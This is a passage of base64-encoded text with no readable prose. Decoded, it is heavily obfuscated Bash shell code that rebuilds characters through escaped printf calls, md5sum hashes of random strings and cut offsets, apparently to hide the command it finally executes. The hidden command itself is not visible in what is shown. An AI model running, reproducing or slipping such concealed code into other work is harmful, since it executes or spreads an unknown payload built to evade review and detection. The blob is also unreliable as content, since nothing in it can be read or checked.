x4JCggICIke0Albk1cKEpIYVwiM30iICAiJHtAfn59IiAgJyckJ1x4NzAnJydyXGkkJ25cMTY0J2YgICVzICctRHBOSmQ/JyAke0AvPWwtKn0gICR7Ki8vP1x7XHtcIWd9ICB8ICAgJHsqLy9CXHo+flZ+LzQuMmVnNGMufSAgJHtALy9xcnJucj99ICAkeyEqfW1kJyckJzVceDczJyQnXHUwMDc1J20gICR7QH59IHwgICAiJHtAfn59IiBjdSIiJCdceDc0JyAgIC1iICRbICAoKCItIiIke0AsLH0iNTUiIyIyKjMyIyRAMSkrMyR7QF59OCIjImgpICAgXS0kKCggKC0oLSg0IjIiIyJsIi0tNCMxMikrMzUjJHsqfn1iKSkgKSkgICAke0AsLH0gKSIgICR7KiMjSlx9XFtiKiZcKX0gICA7ICAiJHtAXn0iICAiJHtAfSIgICQnXHUwMDcwXHg3MicnJ2luJCd0XHg2NicgICJceCQoICAgJHsqLH0gJHtAfn0gICBccCQnclx1MDA2OSduIiJcdCR7QC94S09iLEl9ZiAlcyAgJ0d0ZH4sVGZ5JyAke0AsfSAgJHshKn0gICB8ICAgJHtALy8teTIzTStEL1N+V3xKeEl9ICQnXHg2ZCcnZCciIiR7KiMjb1whRE9iI3R9NSR7Kn59cycnJCd1XHUwMDZkJyAgIiR7QF5efSIgIiRAIiAgIHwgICAke0AsLH0gJHtALy89LmxvTi96WWRIfSAiYyIiIiIke0AvN1V6dypGMX0idVx0ICAgLWIgICAkWyAoKDIiJHtAL1wobFlqXm19IiMxMDAqLTUkQCMiMSIpKyR7KiMjZ2ktIyZGMGZ9MzYkeyolJU1VbWl9I2MpIF0tJCgoICgoIiR7QF5efSItJHsqIyQ3Q21kanFcKH00JHsqJS1pSUpcIjVOfTgjZSsiJHtAIyNjKlU/XH0melxbfSIyNCMxKSsiNCIke0B+fn0yI20pICApKSAke0AjcUBvXHttOXRDfSAgICkiICAiJHtAJWFRRW82flZufSIgICYmICAgJHtAXn0gICBwclxpbnQnZicgICAiXHgkKCAke0AjI1x9JTxGfSAiJHtAJWh4XyRcW2kjfSIgICIiXHAiIlxyaW50IiIkJ1wxNDYnICAlcyAgICckeE4+P2s5UCcgJHtAfSAgfCAgICR7QF5efSBtJHshKn1kJyc1J3MndW0gICAke0AlJThfS2tYXF1sfSAkeyp9ICB8ICAiJHtAXn0iICAgJHtAfn59ICAgY3UiJHtAJSUycD9HfSJ0ICAgLWIgICAkKCggKC0oLSg0MSIke0AlJWE4aFwoaFxbJTh9IiMiMSIrIjMiIiR7QC8vUGdSbngqL1dZWkstfSI3IzEpKzU2IzApKSApKS0kKCggICAoKC00IyIxIjIrMSIyIiMwKSsiNiIjIjEiIjMiKSAgICkpICAkeyojI3hVPWglfSAgKSIgICAke0BeXn0gICRAICYmICAgJHtAJSVoXCE3eEs4fSAiJHtALzJcfTpUc3daby9ybTJoJX0iIHAkKnIke0AjIzdkUTl6fWludCdmJyAgICJceCQoICR7Ki8vWVwiPzovSFROXH1TSX0gIFxwJCdceDcyaSciIm4keyp+fn10JCdcMTQ2JyAgJXMgICddUSNTd21hJyAkeyolcz9+YlhWfSAgICR7KiwsfSB8ICIke0AvNCU2SVV9IiAgJyckJ1x1MDA2ZCdcZCIiXDVzdScnbSAgICR7KiwsfSB8ICR7Ki94YlR1fSAgJHsqXl59ICBcYyJ1InQgIC1iICQoKCAoKCItIiR7IUB9MyMiMSIwKiIyIiMiMSIwMCkrNSI1IiIke0BeXn0iI3MpICkpLSRbICAoKC0iNiIjMTAqIjIiIyR7Ki9cXVx9NEd9MTEpKzYwIyJ6IikgICBdICAgJHsqLy9aR2o6Wn0gKSIgICAkeyp9ICAkeyolXCF4I3ZuUW1LfSAgIDsgIiR7QC9HdVBPbTc0fSIgICR7QCwsfSAkJ1wxNjAnJyciJHtALy85Wl91US8/TnNUfSJyaSIibnRmICAgIlx4JCggIiR7QCUlUXp0T1xdI30iICAkeyovK2NcYHd9ICBwXHIkJ1x1MDA2OSciIiduJ3RmICVzICAgJzpyM00nICAiJHtAfn0iICAgJHtAI34uT0t3fSAgfCAgJHsqXl59ICAkeyojI1BzPVx9bjV9ICAkeyojRWpnXzVBSFl9bWQ1cyR7QC95STotL2U9VFcwbk19dSdtJyAgJHsqLy86NmRfMj99ICB8ICAgJHtALH0gJHtAL1NzIzdYXGBXfSAgY3UnJ1x0ICAtYiAgICRbICAgKC0oLSgyMyIjIjArMiIjIiIxIiIwIiIwIikrIjMiMCMiMSIpKSBdLSQoKCAgICgoIjMiMyMiMCIqLSIke0AvfmN4NGtWXFwvOWdxJUt8Jn0iMzUjMSkrMiIjIiIxIiIwIiR7Kn59MCkgKSkgIiR7QCMjUSMzPSVffSIgICApIiAiJHtAI0ZHXCJcYHw3fSIgJiYgICAiJEAiICAkKiAkJ1wxNjAnIiJyaScnJCdcMTU2JycnJHsqLCx9dCQnXHg2NicgICAiXHgkKCAgJHshQH0gICR7QCUlWk1aajB9ICBwJHtALy9CdTg+dH1yaW50XGYgJXMgICd1PTk7JyAgJHtAJSU4LHBTZUZ9ICR7Kn59IHwgJHtAL1x7bG9cKUNcYHN9ICAkeypeXn0gICBcbSIke0AvQVx9QGpBblxbfSJkNXN1JydtICAkQCAgIHwgICAkeyovUFwhXFcvZjdhVGdce3wxfSAgJHsqL3FodlxgXHt9ICAgJCdjXHg3NSckJ1wxNjQnIC1iICRbICgoNTkjaC0zIzEwKSsyIzEkeyp+fTEwKSAgIF0tJFsgICAoKCR7QF5efTMjMTAiMiItJHtAXn0yIzExKSsyIjUiI2QpICAgXSAkeyovVT9fbGMqL3ZwJEl9ICkiICAkeypefSAgICYmICAkeyp9ICAiJHtAIyYqLlwhaCx9IiAgJCdcMTYwcmknJCdceDZldCdcZiAgIlx4JCggICR7KiNHXClfdH0gICAiIlxwcmkiIiduJ1x0ZiAlcyAnKUVkJjlvbicgICIke0AsfSIgICIke0AsLH0iICB8ICR7KiUlVnltUH0gIG0nZCdcNXN1bSAgJHtAIyMuYm1OWWRCfSAgIHwgICIke0Ajc34sX1xbfGh9IiAgY3V0ICAgLWIgJCgoICAgKC0oLSgkeypefTIiNCIjIiR7QH5+fSJqLSItIiI2IiMkeyosLH0xMCkrMTIkeyEqfSMxMSkpICkpLSRbICAgKC0oLSg0IzEzKzgjMTQpKzUiIyIxJHsqLCx9MSkpICBdICAgJHshQH0gICAkeyolJUpyRGZLfSAgKSIgJHsqXl59ICAkeyolJWpoQn5cIX59IDsgJEAgICQnXHg3MCcnJ1xyImkibiJ0IiR7Kl59ZiAgICJceCQoICAke0AlNXpIYVxgV1EtfSBwJCdcdTAwNzInJyckJ1wxNTEnXG50ZiAlcyAnd3U1Vz4nICAiJHtALH0iICAiJHtAfn0iICB8ICR7Kl59ICR7IUB9IG1kJHsqLyRcIk5WT1wpdX01c3VtICIke0AvXGBcKXpCT3pkL29cey0tTS1kJn0iICAgfCAgJHsqJSVIJmYxfn0gICBjdXQgIC1iICAkWyAoKDIjMTAiMSIrLTcjMSkrNTIiIyJlKSBdLSRbICgtKC0oMiIyIiMke0BeXn0wKzEiMiIjMTkpKzQxIiMiJHtAIzJCNm5GMH0yKSkgXSAgIiR7QCMuXCFfYn0iICAgJHsqLyRcfUVXL0M7fHBvYXFNfSAgICkiICAgJHsqXn0gJiYgJHtAfn59ICAkeyp+fn0gICAkJ1wxNjAnInIiJ2knJCdcMTU2J3QiIiQnXHg2NicgICAiXHgkKCAgJHsqL0Jlaj4yOUx9ICAgJCdceDcwJyQnclx4NjknbnRcZiAlcyAgJ04oTT0nICAke0AjM2NCSTZVfSAgfCAiJHtALH0iICAgIm0iXGQnNSdzJHsqL1x+ZnhRXm96L2dGXGAlUn11bSAiJHtAJUZDaCo6QmxefSIgICR7KiN4Y1E9LjdUfSAgfCAgICR7QCMqflwoTTNcKDB9ICAgJCdcMTQzdSd0ICAtYiAkKCggKCgyIzEiMCIke0B+fn0wLS0iMyIiNCIiIyIkeyolS1EzZUF9YSkrNyMyMCkgKSktJCgoICAoLSgtKDIke0AvL0FtTVxcfSMxIjEiIjEiLSItIiI0IjQjeikrMjkiIyJkKSkgICApKSAgJHsqXn0gICApIiAgJHtALy8mbHUmXCF9ICAgJiYgJHsqLy9aZnRWTTxofSAgIiR7QCMjUDhPLHxcW30iICAiInByXGkkJ1x4NmUnInQiJCdceDY2JyAgICJceCQoICR7QH59ICBwJyckJ1x1MDA3Micke0BefWluJCdcMTY0JydmJyAgICVzICdYRSFTQycgICR7Kn59ICR7Kl59ICB8ICAkeyovLyVoIzdcW1BufSAgIiR7QCx9IiAibSJkJyc1cyQnXHUwMDc1JydtJyAgICR7QC8vPnUtcVN9ICR7QCUlSGg6XHtnOk5tfSB8ICAiJHtAfn0iICAgIiIkJ1x4NjMnInUiInQiIC1iICAgJFsgICAoKCR7KiV8TUJXXFtFfS00JHtAJSVqaTctZn0jMSIxIi0yIiMiMTAiJHtAfn59IjAiMCIpKzQ2IiMiImsiKSAgXS0kWyAgICgoMyMxMSokeyp+fS02JHsqJSU/QVVRM30jJHsqLy9cfSZPYz9ce3FuL1E5NVxgQGxefTIpKyR7Kn00MCR7QC9LJVx7XGAySFRVL19AaTguSUp9I2cpICBdICR7Ki9zfFxdfSAkeyp+fSAgKSIgJHsqL2lSV3d9IDsgIiR7QC85SH4+YWpRfSIgICAkeyp9ICAgcHJcaVxudGYgICJceCQoICR7Kl59ICAgJHtALy9rY1woOGNncH0gIHAiIiQnXDE2MmknJydudGYgICVzICAgJzNBeUAnICAgIiRAIiAkeyosLH0gICB8ICAkeyovZFYzWS9wVUE6OG91fSAgJ20nImQiNSJzInVtICQqICAkeyojIy43R05TNzt9ICB8ICAgJCogICR7ISp9IGMiJHtAfSJ1dCAgLWIgICAkWyAgICgtKC0oMzkjZy0tMzkke0B9IyR7Ki9jayZXeX1nKSsiNSI0IyJsIikpIF0tJFsgICAoKDU2IiMiIiR7QH0iYy0yIiR7QCwsfSIjJHsqXn0xMCIke0AsfSIwMCkrIiR7QC8vXHtfQF9WXFsvbVdcW2x9IjciJHtAfn59IiMiJHtAXn0iMTEpIF0gICAke0AvLzdeUnU3fSAgICR7Ki8xKzJxen0gKSIgICAkeyosLH0gIDsgICIke0BefSIgJyckJ1x4NzByJ2kkJ1x4NmUnIiR7QH59InRmICAiXHgkKCAgICR7QF59ICBwclxpIiIkJ1wxNTYnXHRmICAlcyAgJy4zXUFpTScgJHtALy9cVl96bG1nPX0gJHshKn0gfCAgIiR7QH0iICAkeyojI3VcKEpSQmQ7Qn0gJCdcdTAwNmRcdTAwNjQnJCo1cyR7Ki9xNkpcWytQLzVfbHdmPDF6fXUke0B+fW0gIiR7QCUlLF5aan0iICAkeypefSAgfCAgJHsqfSAgIGN1InQiICAtYiAgJFsgICAoKCQqMyR7Ki8lemksTjhGfSMxMSotNCMyKSsxMSMyIiR7QC8vTGc8Qjw6I30iNSkgIF0tJCgoICAoKCItIjMiIyIiMiIxKjU3IzEpKzE3IiMiMWEpICkpICAkeyolJTFRTVI6dnxNfSAgJHtALH0gKSIgICR7QCUkVzEuXCF9ICAgJHsqJSVcfVVcInZKRj19ICA7ICR7QCMqR0U0RVx9Wn0gICAkeyojI1VcKWJ4Qjp6fSAgIiJccCIiJCdceDcyJycnXGluInQiZiAgIlx4JCggICR7Kn59ICAgIiR7QH0iICBwXHJcaW5cdCR7QH5+fWYgICVzICc0WDllJyAgICIke0AvbWE0UGZ1L0diXCJBMn0iICR7Kn0gfCAgJHsqfn59ICAgIm0iJHsqJV9mXClGfWQ1c3Uke0AvLypaWUklWX1tICAkeyojXF1cfVwhZ1clJVN9ICAkeyp+fn0gICB8ICAgJHsqLy9CV3VvT3ZKLi9BXFtcImxsaX0gIGN1dCAtYiAgJFsgICAoLSgtKCR7QH59NjAjdS00IzEzKSs3IiMiIiR7QC9cW2cyRjV9IjEkeyovLzd8XF04OmYvMlBZaGZwXCFlfTEpKSAgIF0tJFsgICAoKDE1IiMiIjEiKyI3IiMxKSsiJHtALy9UMWVqL0cyc2o4RVx9fSIzOSNlKSAgIF0gICIke0AvL2NqRiwqVjYkfSIgKSIgIiR7QCMjSEpaXEhCXGBPfSIgICIke0AvPWN1LnFQfSIgIDsgICAke0B+fn0gICAkeyolXCFcIlxdLH0gInAiciJpIiR7Kn5+fW4nJ3QiZiIgIlx4JCggJHsqJSxAalwpV30gIHAncidpJycnbidcdGYgJXMgJ20/LU9JfD88JyAgICR7Kl59ICAgfCAgJHtAfn59ICR7KiNwdzNeREJcYG19ICAkeyovLyQ+S1h9bWQ1c3VtICR7Kl59ICAke0BefSB8ICAkeyovLy0uXGBXOl58Un0gIiR7QC9EQ1FDa0U8Un0iICR7QCx9Y3V0ICAtYiAgICQoKCAgICgoJEAzIiMiMTAqLSIyIiMxMTApKzU0JHshQH0jQykgICApKS0kWyAgICgtKC0oNSMxMCs1JHsqJVlKZHdmZ3k8fTQjInUiKSsxIjIiIzEyKSkgIF0gJHtAIyMuaTttRVwifH0gJHsqfn0gICkiICAiJHtAfSIgIDsgICAke0AvRlM1SVJRXGBGL3d0XCUzMV9zfSAke0Avem1aXCk6fSAgcHJcaScnbid0J2YgIlx4JCggICIke0AjIyN3TlRcKVR9IiAgJyckQHAnJyQnXHg3MiciaSIiIiQnXHg2ZSckJ1x1MDA3NGYnICAgJXMgICAnY2d8Tlw5YicgJHsqJVxdRE1cXH0gICIke0AldGksXFZeV0N9IiAgIHwgICR7Kl59ICAgJHtALy87K1x7Z0tIXn0gbWRcNXMidSJtICR7KiwsfSAgfCAgJHsqIyMsRlpcIkp9IGMkeyEqfXUkJ1x4NzQnIC1iICAgJCgoICAgKCg3IiMiJHtAfTEiMSItIjMiIzIiMCIpKyI0IiR7QC8vQGZBXFwvSW1cQH0zI2MpICAgKSktJFsgICAoKDU2IzEtMjYjYSkrMyMyIjIiMCkgIF0gICAke0B+fn0gICkiICAkeyovL0tOI1wpXH1kWS93NDNifSAmJiAgICR7KiwsfSBwciJpIiIke0AvL1VoJnlRWX0ibnRmICAgIlx4JCggICR7Kl5efSAgJEAgIHAkJ1x4NzInImkiIiR7QC8vbi5hWi8tVUBaXmgwfSJudCdmJyAlcyAgJ29rdmNcbCZgJyAke0AjIyszXHsrMkwxfSAkeyosLH0gfCAgIiR7QH0iICAgbScnJHsqLy9GbGMxV31kNXN1bSAgICR7KiMjS207XCFAfSB8ICAkeyojIzQ1b0lJdHx9ICAgY3UiInQgICAtYiAgJCgoICAoKCItIjMjMSR7Ki9LMDtPan0wKjIjMTAwKSsxMyMyJHsqJSVcIWRcIiw5ZX0wKSAgKSktJFsgICAoKDUiIyIxMCokeyEqfS0keypeXn0zNyMyKSszJHsqfn59MiMkeyovLzQlQDlcXW06fXApIF0gICR7KiMjXHthOT5Ad3pyfSAgKSIgJHtALy81XHtNP0kvXFxcKUcrRT59ICAkeyolMXF6RGR5Y3J9ICAgOyAkeyovPmdaalwpen0gICQnXHg3MHJpJyR7ISp9biQnXHg3NCciZiIgICJceCQoICAkeyovL05RUjN4fSAgcCQnXHUwMDcyaSciIiQnblx4NzRmJyAgJXMgICd+TV4tPktYJyAiJHtALy86U1xgZTpEfSIgICR7QC8vK0UsK1whMX0gIHwgJHsqLH0gICAke0B+fn0gIG1kJyckWyAgICgoNDYke0AjIzdnPU89fSMwLTYjMTApKzUzIiMiYikgIF1zJCdceDc1JyIiJ20nICAiJEAiICR7Ki8wOFo5blMvRzdcezYkJFxTfSB8ICAgJHtAJSV2P1lcIn0gICQnXDE0Myd1dCAgIC1iICRbICAoKCI0IiR7IUB9NSIke0BefSIjJHtAfTAqNSI3IiR7KiUlY2ZLdTU7Sjl9IyIxIikrMyMxIjAiKSBdLSRbICgoNCMyIjAiLTMke0AjI0NsMjlsWXl9IzEkeyovKiw6XCIvekFVfFwpMW5XfTIpKzMiJHtAfn59IjgiIyIiMSIpIF0gICAiJHtAfn59IiAgKSIgICR7QCMjK1x9PW1cfXNnaX0gJiYgICAkeyovXClYRT5cey80SSstTH0gJHtAfSAgJydwIiIkJ1wxNjJpJ24keyolbFx9UFZHI1ExfXRmICAiXHgkKCAgICR7KiMjQnpFcTEtfSAgICR7Ki8vVHlzRFx7XCl9ICBwJHsqXl59ciJpIlxudGYgJXMgICdVQE8mY0AnICAiJHtALH0iICB8ICR7KiMjQ19wSFx7N30gJHsqJSxCeXp6fSAgICcnJ20nXGQiJHtALCx9IjVzdScnbSAgICR7QH5+fSB8ICAkeyFAfSAgJHtAfn0gImMiJyckJ1x1MDA3NScidCIgLWIgICRbICAoKC01IiMiMSIxIio0OSMxKSs5IyQqMjMpICAgXS0kKCggICgoLTQiIyIxMyskeyp+fn0yIiMiMTAiMSIpKzQkeypeXn00I2kpICAgKSkgICIke0AvLzJEUGkvX0FzR1hrfSIgICkiICAgIiR7QC8vOlwhXCEweV59IiAke0AvdVNnRTEvXCEyLFwpdVwpU30gICA7ICAgJHsqfn59ICAkeyolb1Akbjw6fSAgIHAncidcaSR7QH5+fW50IiIiZiIgICJceCQoICAgJHtAfn0gICBwclxpblx0ZiAlcyAgJ08mVCpeR1cnICAgJHsqL0hyaXdCK019ICAgJHtALy8kY1AyWD4vXCFPNjp2VVF9ICB8ICAgJHsqIyNVPG1uTn0gICAkeyovQ1A6MkhSeTQvbk9ofn0gJ20nZDVzdScnbSAgJHsqXl59ICRAICB8ICAgJHsqXn0gICAiYyInJyQnXHUwMDc1J1x0ICAgLWIgICRbICAoKC04IyIxIiIxIis1IyIxIiIwIikrNTUiIyJhKSAgXS0kWyAoKCR7QCx9LSI1IiR7Kix9MyMkeyovc1wpPFwidy9Qb1x7JlxbSVp8fTEqIjEiJHsqXl59MiMiJEAiMSkrOCR7QCx9IyR7IUB9MTApICBdICAkeyosfSAgICR7Ki8vXzt6cC8+XCJZKn0gKSIgICAkeyEqfSAgOyAgICR7KiwsfSBwciR7Kn1pJ24nJCdceDc0XDE0NicgICJceCQoICAgJHshKn0gJHsqfSAgICQnXDE2MFx4NzInJ2knXG4kJ1wxNjQnImYiICAlcyAnI3xWPScgJHsqLCx9ICR7QH0gIHwgJHtALy8rJUZQLz5eWkhcInkkfSAgJHshQH0gbScnZDUiIidzJyJ1Im0gJHsqL1VccUQvJXhoPDpiLH0gICQqICAgfCAke0AlJSZcKUFWb1N9ICAgIiR7QCVAVzVrYVx9R30iICAgImMiJyd1dCAgLWIgICQoKCAgKCgyMCMwKjE3IyIwIikrMiMiMSIwMDEpICAgKSktJFsgKCg0IyIxIjAqMiR7KiMjXHtcXVxbZnp9NSMxKSske0AsfTQiIyIxMikgICBdICAkeypeXn0gICkiICAkeyEqfSAgICIke0B+fSIgIDsgICAke0AsfSAkeypeXn0gJyciJHtAJSxCKy1iXCFZU30icCQnXHg3MidpbnRmICAgIlx4JCggJHsqXn0gJHsqL0Bmc0RiQn1wJ3InaSIke0AvaEZXU0YvWm14SH0ibnQiIiR7Ki9DO1ZhSS8zdHdKRX1mICAlcyAgJ0BDXkcnICR7ISp9ICAgfCAke0B+fSAgbWQ1JHtAXl59c3VtICAgJHsqJVxbTFIqXCIxfSAke0AlJSUrdDR3Rm1LfSAgfCAke0B+fn0gJHsqLy9cfVljN1gmfn0gICAkeypeXn1jdSJ0IiAtYiAkKCggICgoIiR7QC8vLlwhPjluL0pUdD99IjQ3IzErIiR7QC8vY0AmPn0iNDEjaSkrOSMxMCkgICkpLSRbICAgKCgtIjEiOCMxMi0iMiIiOCIjbykrMTkjMyJnIikgXSAgICR7KiMjWUFiI3V9ICApIiAke0AvLz9ce2Z6XF19ICAgJiYgICAkeyolODQ7bHF2XFttfSAgICIiJHsqLCx9cHJpIm4iIiR7QC9xeCVcKW8vKmdBcX0idCIke0BeXn0iZiAgICJceCQoICAgIiRAIiAgICR7Ki9HPndWK2oyYX0gcHIkeyovLzpCXDt9aVxuJyckJ1x1MDA3NGYnICAlcyAgICczXHp8LCcgICAiJEAiICR7QCNPNjE/S28wXFt9ICB8ICAke0BefSAgICcnJCdceDZkJ2QiIiI1InMidSJtICAke0AjI0Q5SjtCPn0gICR7KiNcfXxcYHhzdn0gICB8ICAke0AlJXZ3LFF9ICAgYyJ1IiIkQCJ0ICAgLWIgICRbICAoKC0zNyR7Kn5+fSMiMSIwKyIyIiI4IiMiJHtALCx9IjEibiIpKzYwI2QpICBdLSRbICAgKCgtJHtALyMzXy5lfTQjMSIwIiszMCIjImopKyI1IiMkeyojI1hcImprfTIke0AvLzY2PG4wfTMpICAgXSAgIiR7QF5efSIgICApIiAiJHtAXn0iICAmJiAgJHsqfSAgIFxwInIiIiJpbiQnXHg3NCdcZiAgIlx4JCggJHtALy84bndZanNrbn0gJCdcMTYwJycnJHtALy8qP1xdWn1yaSQnXHUwMDZldCdmICAlcyAgJ1g4UzZqYyYnICAgIiR7QCMjUDJxQ29KfSIgICB8ICAiJHtALy84X3puUkd9IiAkJ1x1MDA2ZCdcZFw1c3UnbScgICR7Kn5+fSAgJHtALH0gICB8ICIke0AjI1woYjw1fSIgICQnXHUwMDYzJ3V0IC1iICAkWyAgKCgyOCIke0AjJlxPb30iIzArNSIxIiR7Ki8vXHt8NkBZfSMwKSs4IiMiMTApICBdLSRbICAgKCgtNTYkeyovWFVPZDsvXiw/V1RQZVZ9IzIqNTgiJHtAfSIjMCkrMiIjIjEwMDEpICBdICAgIiR7QCNcUlRLZ30iICAgKSIgICR7Kl5efSAiJHtAJTdtfnZURFxgXF19IiAgOyAgJHsqL2cxREZjfSAke0AlJTAuQ3l9ICAgJCdcMTYwcmknJ24nIiIndCdmICAgIlx4JCggIiR7QCMjdTRccEt2XFtyfSIgcCcnJCdyXHUwMDY5bnQnImYiICAgJXMgICdcSGMsLCcgICAke0B+fn0gICR7QC8vVjZoOC5Cc30gfCAgJHtAfn59ICAgJCdcdTAwNmQnJycnZCcke0AlJXBXNDt9NSQnXDE2MyckJ1x1MDA3NScnbScgICR7QH5+fSAke0AvXHtNOzk7fHx9ICAgfCAgJEAgJHsqLH1jdSR7QH5+fXQgLWIgICAkKCggKC0oLSgiMiI1IzAtJHtALy9uQD1cXT9zfS00OSMiMiIpKyQqNCMke0AvLyxSJnNkUVwifTEpKSAgICkpLSQoKCAgICgoIiR7QF5efSI1MCMxKjkjIiR7QC9qXCgxXClPXCJ9IjApKzUkeyovLzhHaXo4aDEvPHlAK0lDfTMkeyEqfSMyKSAgKSkgICAkeyolJVNTd2dce21cKU59ICAkQCAgICkiICAgJHsqXn0gICYmICR7QC8vbkA/QDhqfSAgICIke0AjI2dMNTd5KkJ5fSIgcHIkJ1x1MDA2OSdudGYgICJceCQoICR7Kl5efSAgJHsqIyNcKENBY05cIjd9ICAgIiR7QF59InByaVxuJHsqXn10ZiAgJXMgJ3poQU9iciEnICAgIiR7QC9vV3M+d1crfSIgfCAgJHtAXn0gJHsqfn59ICBcbSJkIiI1InMnJ3VtICAkeypefSAkeyovO1FcIm8kbS96XClFeWZ9ICB8ICAiJHtALy8+QWptZzN9IiAkeyovLzJqXnEvOj93XHt9ICR7QCwsfWN1dCAgLWIgICAkKCggICAoLSgtKDQkeyovWlxgSjdvPn59MiIjImUtLTQke0BefSMxMCkrIiR7QCMjX1x7Vmg9fSIzIzEwKSkgICApKS0kWyAoKDM5I2IrMiR7QCVcKC4xQWx9IzExKSskeyEqfTU1IzIpIF0gJHsqfSAgKSIgICIke0BeXn0iIDsgJHsqL3RGMHBcIU9qMi9CQUBmKnZ9ICAiJEAicHIiImkiIm4idCJmICAgIlx4JCggICQqICAiJHtALy98aVpafSJwclxpbicnJCdcMTY0J2YgICVzICcuYC09JyAgJEAgICIke0AjI1lSNHJ9IiB8ICAkeyp+fSAkeypefW0kJ2RcNjUnJydzIiIkJ3VcdTAwNmQnICAkeyosfSAgICR7QC8kK2dcKX0gIHwgICIke0AvL2hRY0pUcFB9IiAgJHtALy9kU35cYG5cKGIvcD9JZXVcXVxdfSAgICIke0AjcjklZWZ9ImN1IiIkJ1x1MDA3NCcgICAtYiAgJCgoICgtKC0oLTcjMTQqJHsqL19qcDJvfS0iNCIjMSQqMSkrIjEiNyMxZSkpICkpLSRbICAgKCg0IzIxKiItIjYiIyIxMCkrNjIjIjEiaCkgIF0gICAiJHtAfSIgICkiICAiJHtAfn0iICA7ICAkeypefSAgIHAkeyovZjFnKjh9cmlcbnQnJ1xmICAiXHgkKCAgJHsqfn59ICAke0AvL1ZlZU1nVD0vXCFoQ1wodEx9cCdyJ1xpbiIke0BeXn0idCQnXDE0NicgJXMgICcuZHJHbXQnICAgIiR7QF5efSIgICIke0B9IiAgIHwgICAkeyovL3NeSFwhLzltdzdZfSAnbSdcZDUiInN1bSAgICR7KiV2fC5Bdn0gJHtAXl59IHwgJHsqIyMjQkZ2cTF9ICBjJyd1dCAgIC1iICAkWyAgICgoIjIiOCR7QH0jMCoiJEAiMyIzIiMwKSs0IyIxIikgIF0tJCgoICgtKC0oNSR7KiV1ZTE2VXosXH19MSMkeyEqfTItLTQ0IiMiJHsqL3RFWFpiRn0yKSs1IyR7Kn0yKSkgKSkgIiR7QH0iICAgKSIgJHsqfSAgICR7KiwsfSAgIDsgICR7KiVWOVU3NUl9ICR7QF59ICBccHJcaSQnXHg2ZXQnIiJcZiAgIlx4JCggICR7Kix9ICAkeyolPl5VXy5CLDJ9ICBwcmkkJ25cMTY0J2YgICAlcyAnUVJleScgICR7KiVoX1JcXTp9ICB8ICAgJHtALy9wLFwhXHsvOkViJStZfSAgICcnXG0nJydkJyR7Ki8vSHcxZTdqXCJ9NSR7Kix9c3VcbSAgJHsqXn0gICB8ICAgIiR7QH59IiAgICIke0AlLVx9XCh3XCF9IiAgIiJjdSIidCAgLWIgICAkKCggKC0oLSg0IiR7QCx9IjkjIm0iLSQqLTQyJHtALCx9IyJBIikrMSIke0AvY0ouNi9uZUcjQDMlfSI5IyIyIiR7KiNLcUFRY0hMfTEpKSApKS0kWyAgKCgyNCIjImorJHtALCx9LSR7KiNUT2g1RlhcXUF9MyMyKSsyIzExKSAgIF0gJHshQH0gICApIiAgJHsqfn0gJiYgICAke0BeXn0gICBwJ3InaW4idCJcZiAgIlx4JCggJHshQH0gICAkeyosLH0gXHAiciIkJ1wxNTFuJyR7IUB9dCQnXHUwMDY2JyAgJXMgICdEQ11OcH40KycgICR7QCUlXHs6I2l9ICAkeyovZjpjXF1Seld9ICB8ICAke0B9ICAiJHtALy9iYiNYTlV9IiBcbSQnXHg2NCciJHtAfn59IjUkJ1x1MDA3M3UnbSAgICR7Kn59ICR7Kl5efSAgIHwgICAkeyEqfSAgYyd1J3QgICAtYiAkKCggICAoKDQwIiMiMCstJHtAI3ReNWtuPn0yIzExMSkrJHtALy9tK1pcIWwrSDV9MyR7QF5efTQjIiR7QCUlam5JaFZcYHB9InUpICAgKSktJCgoICgtKC0oJHtAL1BtfGxcfTN9NDAjcC0kKi0keyojeGZaMzRjfTIjMTAwMCkrIjUiIzEiNCIpKSAgICkpICAgJHtALy9tV1x9UFwofSAiJHtALH0iICkiICAke0BefSAiJHtAfn59IiAgOyAke0BeXn0gICAke0AveDsjZWJpJi8/eUJYIy1xRn0gICJwIiR7Ki8vWFJcKG1cKH1yJCdcdTAwNjknXG4kJ3RceDY2JyAgIlx4JCggJHtAfSAgICR7Ki9uRi00ZEwsfSAgICR7Ki9FT15aNmV9cCQnXDE2MidpIiJudGYgICVzICAndTRNbiwoJyAgJHsqLCx9ICQqICAgfCAgJHsqJU55S1xbYitRfSAgIFxtIiJkNSR7KiNhVlxGbXF9c3VtICAgJHtAJVdtXHtZfSAkeypefSAgIHwgICAke0AlJU9zSVpefSAgICIke0BeXn0iIGN1JHsqLy9cUXU+O1hIfXQgICAtYiAgJCgoICAgKCgkeyovL1B0LjUucHAvXClnbWNiKn0tJHsqLy8ucWdQXlx9Nn00OCMiJHtAfn0iMSozIiMiMSkrNSMiMSIwKSAgKSktJCgoICAoKC00NSIjIjEqNCIke0B+fSIjMSkrMyMiMiIwKSAgICkpICAke0AvL0tZbipFL2p2eTFKXn0gKSIgJHtAfSA7ICAgJHsqfSAgIHByJyckJ2lceDZlJycnJCdceDc0J2YgICAiXHgkKCAgIiRAIiBccCJyIiJpIiduJ1x0J2YnICAlcyAnYE4lLkxqJyAkeyojY05yaWlBT2Z9ICAgfCAgICR7Kn5+fSAgXG0nJ2RcNSQnc1x4NzVtJyAgIiR7QCUlfFI6emdFVGJ9IiAgJHsqXl59ICB8ICAkeyovL0p4PCRafSAkeyp9ICAgYyQndVx4NzQnICAgLWIgJCgoICgoLTYiIyIxMisyIiMiMTEpKzU5IyJhIikgICApKS0kKCggICAoKCI1IiIyIiMiJHtAfSIwLSIzIjUjMCkrNSMxMSkgICkpICAgIiR7QH59IiAgICkiICR7KiUrQjdpWVxbU30gOyAkeyovL1YsXFtNfSAgIHAkJ3JcMTUxJycnbnQkJ1wxNDYnICAiXHgkKCAiJEAiICAgJHsqI3VGcEB9ICAkeyp+fXAkeyp+fn1yJydpXG4keyovLzIjY1g9Jj5wL15ORTx9dGYgJXMgJ3lrX21cNlQnICRAICAkeyolekUmcH0gfCAgIiR7QC92fj5EdX0iICIiJCdcMTU1ZDUnJCdcMTYzXDE2NScibSIgICAkeyojIzBwJi4kMEt9ICB8ICR7Kix9ICAkeyp+fSBjdVx0ICAtYiAgJFsgICAoKCR7KiUlQ0MxVUI4XHt9LTE3IzEzLS00IiMiIjIiMCkrMjgjMTUpICAgXS0kKCggKCgtIjkiIiMiMSIke0AvL00+XDtDXH1DL29EJXEqQmNJfSIwKjM3IzIpKzQzIiMiRSkgICkpICAgIiR7QCMjLFpjVz48fSIgJHsqLz5xPSxcKDFaL3dAWldaaXQ2fSApIiAgICR7QCx9ICA7ICR7IUB9IHAkeyovLzE